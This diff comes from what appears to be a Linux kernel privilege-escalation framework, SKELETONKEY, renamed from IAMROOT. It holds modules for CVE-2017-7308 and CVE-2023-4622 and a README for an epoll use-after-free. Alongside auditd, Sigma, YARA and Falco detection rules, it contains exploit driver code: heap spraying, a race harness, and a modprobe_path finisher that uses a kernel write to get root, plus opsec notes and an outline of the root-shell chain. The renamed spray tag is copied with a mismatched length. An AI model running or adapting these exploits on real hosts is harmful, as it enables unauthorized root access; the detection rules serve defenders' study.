"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
||||
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
|
||||
|
||||
const struct iamroot_module af_packet_module = {
|
||||
static const char af_packet_sigma[] =
|
||||
"title: Possible CVE-2017-7308 AF_PACKET TPACKET_V3 exploitation\n"
|
||||
"id: a72b5e91-skeletonkey-af-packet\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the AF_PACKET TPACKET_V3 integer-overflow setup pattern:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET)\n"
|
||||
" and a PACKET_RX_RING setsockopt + sendmmsg burst. False positives:\n"
|
||||
" network sandboxes / containers running raw-packet apps inside\n"
|
||||
" userns; correlate process tree to distinguish.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" afp: {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
|
||||
" send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
|
||||
" condition: userns and afp and send_burst\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2017.7308]\n";
|
||||
|
||||
static const char af_packet_yara[] =
|
||||
"rule af_packet_cve_2017_7308 : cve_2017_7308 heap_spray\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2017-7308\"\n"
|
||||
" description = \"AF_PACKET TPACKET_V3 spray tag from skeletonkey/iam-root tooling\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag1 = \"iamroot-afp-tag\" ascii\n"
|
||||
" $tag2 = \"skeletonkey-afp-fc-\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_packet_falco[] =
|
||||
"- rule: AF_PACKET TPACKET_V3 setup by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates an AF_PACKET socket and sets up a\n"
|
||||
" TPACKET_V3 ring inside a user namespace. CVE-2017-7308 trigger\n"
|
||||
" requires CAP_NET_RAW which userns provides. False positives:\n"
|
||||
" legitimate packet-capture tools running rootless (rare).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and evt.arg.optname contains PACKET_RX_RING\n"
|
||||
" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_PACKET TPACKET_V3 ring setup by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2017.7308]\n";
|
||||
|
||||
const struct skeletonkey_module af_packet_module = {
|
||||
.name = "af_packet",
|
||||
.cve = "CVE-2017-7308",
|
||||
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
|
||||
@@ -875,12 +951,14 @@ const struct iamroot_module af_packet_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = af_packet_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_packet_sigma,
|
||||
.detect_yara = af_packet_yara,
|
||||
.detect_falco = af_packet_falco,
|
||||
.opsec_notes = "Creates AF_PACKET socket and TPACKET_V3 ring inside unshare(CLONE_NEWUSER|CLONE_NEWNET); triggers integer overflow with crafted tp_block_size/tp_block_nr and sprays ~200 loopback frames. Audit-visible via socket(AF_PACKET) (a0=17) + sendmmsg from a userns process; KASAN tag 'iamroot-afp-tag' may appear in dmesg if enabled. No persistent files. No cleanup callback - kernel state unwinds on child exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void iamroot_register_af_packet(void)
|
||||
void skeletonkey_register_af_packet(void)
|
||||
{
|
||||
iamroot_register(&af_packet_module);
|
||||
skeletonkey_register(&af_packet_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
|
||||
#define AF_PACKET_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_packet_module;
|
||||
|
||||
#endif
|
||||
@@ -18,7 +18,7 @@ Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
|
||||
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
|
||||
5.15.130 / 6.1.51 / 6.5.0.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
**Widest deployment of any module in the corpus** — bug present
|
||||
in every Linux kernel below the fix (back to ~2.0 era).
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_UNIX_GC_IAMROOT_MODULES_H
|
||||
#define AF_UNIX_GC_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_unix_gc_module;
|
||||
|
||||
#endif
|
||||
+116
-56
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — IAMROOT module
|
||||
* af_unix_gc_cve_2023_4622 — SKELETONKEY module
|
||||
*
|
||||
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
|
||||
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
|
||||
@@ -55,9 +55,10 @@
|
||||
* carries the widest version range of any module we ship.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
@@ -104,6 +105,7 @@ static const struct kernel_patched_from af_unix_gc_patched_branches[] = {
|
||||
{5, 10, 197},
|
||||
{5, 15, 130},
|
||||
{6, 1, 51}, /* 6.1 LTS */
|
||||
{6, 4, 13}, /* 6.4.x stable (per Debian tracker — forky/sid/trixie) */
|
||||
{6, 5, 0}, /* mainline fix landed in 6.5 (technically 6.6-rc1
|
||||
but stable 6.5.x carries the patch) */
|
||||
};
|
||||
@@ -127,24 +129,29 @@ static bool can_create_af_unix(void)
|
||||
return true;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_unix_gc: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* No lower bound: this bug has been in the AF_UNIX GC path since
|
||||
* the dawn of time. ANY kernel below the fix is vulnerable. The
|
||||
* kernel_range walker handles "older than every entry" correctly
|
||||
* (returns false → not patched → vulnerable). */
|
||||
bool patched = kernel_range_is_patched(&af_unix_gc_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_unix_gc_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
|
||||
@@ -153,17 +160,17 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
|
||||
"exotic seccomp/sandbox, bug unreachable here\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
|
||||
" (no userns / no CAP_* required — AF_UNIX is universally\n"
|
||||
" creatable). The race window is microseconds wide and\n"
|
||||
" needs thousands of iterations to win on average.\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Race-driver state ------------------------------------------- */
|
||||
@@ -376,7 +383,7 @@ static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x55; /* 'U' — unix */
|
||||
memset(p.buf, 0x55, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMROOTU", 8);
|
||||
memcpy(p.buf, "SKELETONKEYU", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
|
||||
@@ -537,40 +544,41 @@ static int af_unix_gc_arb_write(uintptr_t kaddr,
|
||||
|
||||
/* ---- Exploit driver ---------------------------------------------- */
|
||||
|
||||
static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Refuse-gate: re-call detect() and short-circuit. */
|
||||
iamroot_result_t pre = af_unix_gc_detect(ctx);
|
||||
if (pre == IAMROOT_OK) {
|
||||
skeletonkey_result_t pre = af_unix_gc_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK) {
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
|
||||
* modprobe_path is unresolvable we refuse here rather than running
|
||||
* a 30 s race that has no finisher to call. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("af_unix_gc");
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("af_unix_gc");
|
||||
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
|
||||
" a small fraction per run — see module header.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
|
||||
" to %d s. RELIABILITY remains race-dependent on a real\n"
|
||||
@@ -588,7 +596,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
|
||||
@@ -635,7 +643,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
uint64_t a_errs = atomic_load(&g_thread_a_errs);
|
||||
|
||||
/* 4. Empirical witness breadcrumb. */
|
||||
FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"af_unix_gc race harness (CVE-2023-4622):\n"
|
||||
@@ -684,18 +692,18 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
.n_queues = AFUG_SPRAY_QUEUES,
|
||||
.arb_calls = 0,
|
||||
};
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
af_unix_gc_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
|
||||
fr, arb_ctx.arb_calls);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_kmalloc_512(queues);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
_exit(35); /* finisher ran, no land */
|
||||
}
|
||||
|
||||
@@ -729,7 +737,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
/* PARENT */
|
||||
int status = 0;
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
|
||||
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
int sig = WTERMSIG(status);
|
||||
@@ -738,26 +746,26 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
"(consistent with UAF firing under KASAN)\n", sig);
|
||||
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
|
||||
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
|
||||
" See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n");
|
||||
" See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL;
|
||||
if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
|
||||
|
||||
if (rc == 34) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
|
||||
"EXPLOIT_OK (race won + write landed)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (rc == 35) {
|
||||
if (!ctx->json) {
|
||||
@@ -765,11 +773,11 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
" win + land within budget (expected outcome on most\n"
|
||||
" runs — race wins are a fraction of a percent).\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc != 30) {
|
||||
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -778,39 +786,39 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
" implemented (per-kernel offsets; see module .c TODO\n"
|
||||
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
#ifdef __linux__
|
||||
return af_unix_gc_exploit_linux(ctx);
|
||||
#else
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
|
||||
}
|
||||
if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
/* Race threads + msg queues live inside the now-exited child;
|
||||
* nothing else to drain. */
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
@@ -821,11 +829,61 @@ static const char af_unix_gc_auditd[] =
|
||||
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
|
||||
"# benign — flag the *frequency* by correlating these keys with a\n"
|
||||
"# subsequent KASAN message in dmesg.\n"
|
||||
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-afunixgc-spray\n";
|
||||
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
|
||||
|
||||
const struct iamroot_module af_unix_gc_module = {
|
||||
static const char af_unix_gc_sigma[] =
|
||||
"title: Possible CVE-2023-4622 AF_UNIX GC UAF race\n"
|
||||
"id: c45d7eb3-skeletonkey-af-unix-gc\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects tight-loop socketpair(AF_UNIX) + sendmsg with SCM_RIGHTS\n"
|
||||
" + msgsnd grooming pattern characteristic of the AF_UNIX garbage\n"
|
||||
" collector race. False positives: legitimate IPC apps use\n"
|
||||
" SCM_RIGHTS, but the high-frequency close-and-recreate cycle is\n"
|
||||
" unusual outside fuzzing / exploit harnesses.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sp: {type: 'SYSCALL', syscall: 'socketpair', a0: 1}\n"
|
||||
" scm: {type: 'SYSCALL', syscall: 'sendmsg'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: sp and scm and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.4622]\n";
|
||||
|
||||
static const char af_unix_gc_yara[] =
|
||||
"rule af_unix_gc_cve_2023_4622 : cve_2023_4622 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-4622\"\n"
|
||||
" description = \"AF_UNIX GC race kmalloc-512 spray tag or log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEYU\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-af_unix_gc.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_unix_gc_falco[] =
|
||||
"- rule: SCM_RIGHTS cycling on AF_UNIX with msg_msg groom\n"
|
||||
" desc: |\n"
|
||||
" Tight socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd\n"
|
||||
" pattern characteristic of the AF_UNIX garbage collector\n"
|
||||
" race (CVE-2023-4622). False positives: IPC libraries use\n"
|
||||
" SCM_RIGHTS legitimately but rarely with the close-and-\n"
|
||||
" recreate cycle at this frequency.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_UNIX and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" SCM_RIGHTS sendmsg on AF_UNIX by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [ipc, mitre_privilege_escalation, T1068, cve.2023.4622]\n";
|
||||
|
||||
const struct skeletonkey_module af_unix_gc_module = {
|
||||
.name = "af_unix_gc",
|
||||
.cve = "CVE-2023-4622",
|
||||
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
|
||||
@@ -836,12 +894,14 @@ const struct iamroot_module af_unix_gc_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = af_unix_gc_cleanup,
|
||||
.detect_auditd = af_unix_gc_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_unix_gc_sigma,
|
||||
.detect_yara = af_unix_gc_yara,
|
||||
.detect_falco = af_unix_gc_falco,
|
||||
.opsec_notes = "Two-threaded race: Thread A creates socketpair(AF_UNIX) with SCM_RIGHTS cycle then close; Thread B drives independent SCM_RIGHTS traffic on a held pair. ~5s budget (30s with --full-chain). msg_msg kmalloc-512 spray tagged 'SKELETONKEYU'. Writes /tmp/skeletonkey-af_unix_gc.log with empirical stats. Audit-visible via socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd triple. Dmesg may show UAF KASAN if kernel vulnerable. Cleanup callback unlinks the log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void iamroot_register_af_unix_gc(void)
|
||||
void skeletonkey_register_af_unix_gc(void)
|
||||
{
|
||||
iamroot_register(&af_unix_gc_module);
|
||||
skeletonkey_register(&af_unix_gc_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_unix_gc_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,106 @@
|
||||
# bad_epoll — CVE-2026-46242
|
||||
|
||||
"Bad Epoll" — a race-condition use-after-free in the Linux kernel epoll
|
||||
subsystem (`fs/eventpoll.c`) reachable by **any unprivileged local user**.
|
||||
No user namespace, no capability, no special `CONFIG` — `epoll_create1(2)`,
|
||||
`epoll_ctl(2)`, and `close(2)` are available to everyone, which is what
|
||||
makes this bug unusually dangerous.
|
||||
|
||||
## The bug
|
||||
|
||||
On the file-teardown path, `ep_remove()` clears `file->f_ep` under
|
||||
`file->f_lock` but keeps **using** the file inside the same critical
|
||||
section — the `hlist_del_rcu()` walk over the eventpoll's `refs` list and
|
||||
the trailing `spin_unlock()`. A concurrent `__fput()` of a linked epoll
|
||||
file can observe the transient `NULL` `f_ep`, skip
|
||||
`eventpoll_release_file()`, and jump straight to `f_op->release`, freeing
|
||||
a `struct eventpoll` that the first path is still walking →
|
||||
**use-after-free** on a live kernel object.
|
||||
|
||||
The public exploit (Jaeyoung Chung, submitted to Google's kernelCTF)
|
||||
arranges four epoll objects in two pairs — one pair drives the race, the
|
||||
other is the victim — and converts the 8-byte UAF write into control of a
|
||||
`struct file` via a **cross-cache** attack (the freed `eventpoll` slab
|
||||
page is drained to the buddy allocator and reclaimed as pipe backing
|
||||
buffers). From there it reads arbitrary kernel memory through
|
||||
`/proc/self/fdinfo` and ROPs to a root shell. Roughly **99% reliable**
|
||||
despite a race window only ~6 instructions wide; the racer widens it with
|
||||
`close(dup())` storms that induce false-sharing on the file's `f_count`
|
||||
cache line. It **rarely trips KASAN**, which is why the bug survived three
|
||||
years and why it is hard to detect at runtime.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Vulnerable path introduced | commit `58c9b016e128` — Linux **6.4** (2023-04-08) |
|
||||
| Fixed upstream | commit `a6dc643c69311677c574a0f17a3f4d66a5f3744b` — merged for **7.1-rc1** (2026-04-24) |
|
||||
| Stable backport | **7.0.13** (Debian forky `7.0.13-1` / sid `7.0.14-1`) |
|
||||
| Still vulnerable at time of writing | trixie **6.12.x** (no backport yet); 6.6 LTS pending |
|
||||
| Not affected | 6.1 and older (predate the bug — Debian: "vulnerable code not present") |
|
||||
| NVD class | CWE-416 (Use After Free) via CWE-362 (race) |
|
||||
| CISA KEV | no (brand new) |
|
||||
|
||||
Table threshold is a single `{7,0,13}` entry — `kernel_range_is_patched()`
|
||||
treats 7.1+ as patched-via-mainline and everything in `[6.4, 7.0.13)` as
|
||||
vulnerable, matching the Debian tracker. Add 6.6.x / 6.12.x rows when
|
||||
those LTS backports land (`tools/refresh-kernel-ranges.py` flags them).
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` is a **pure version gate** — no active probe, because there is
|
||||
no cheap, safe way to distinguish a vulnerable kernel from a patched one
|
||||
without actually winning the race (the dangerous part). It returns `OK`
|
||||
below 6.4 or on a patched kernel, and `VULNERABLE` in range. There is **no
|
||||
`PRECOND_FAIL` userns path** the way `nft_catchall` has — epoll needs no
|
||||
namespace, so there is no unprivileged-userns stopgap to report or to
|
||||
harden with.
|
||||
|
||||
`exploit()` forks a CPU-pinned child that builds the epoll race pair (a
|
||||
waiter eventpoll watching a target eventpoll) and exercises the
|
||||
`ep_remove`-vs-`__fput` concurrent-close window a **hard-bounded** number
|
||||
of times (48 attempts / 2 s), widening it with `close(dup())`
|
||||
false-sharing storms, snapshots the `eventpoll`/`kmalloc-192` slab, and
|
||||
returns `EXPLOIT_FAIL`.
|
||||
|
||||
It is **deliberately under-driven**. A *won* race frees a live
|
||||
`struct eventpoll` — genuine kernel memory corruption that rarely trips
|
||||
KASAN, so on a vulnerable production host a completed race can silently
|
||||
destabilise the box rather than cleanly oops. This module therefore does
|
||||
**not** grind the race to a win, does **not** perform the cross-cache
|
||||
reclaim, and does **not** bundle the per-kernel `fdinfo` arbitrary-read +
|
||||
ROP that lands root (per-build offsets refused). The trigger is
|
||||
**reconstructed from the public kernelCTF PoC and is not VM-verified**. It
|
||||
never claims root it did not get.
|
||||
|
||||
Because a kernel race is the least predictable class in the corpus — and
|
||||
this one can corrupt memory invisibly — `bad_epoll` carries the **lowest
|
||||
`--auto` safety rank** (see `module_safety_rank()` in `skeletonkey.c`), so
|
||||
`--auto` only ever reaches for it after every safer vulnerable module.
|
||||
|
||||
## Detection is hard — read this before shipping the rules
|
||||
|
||||
Unlike most modules, `bad_epoll` has **no high-fidelity signature**.
|
||||
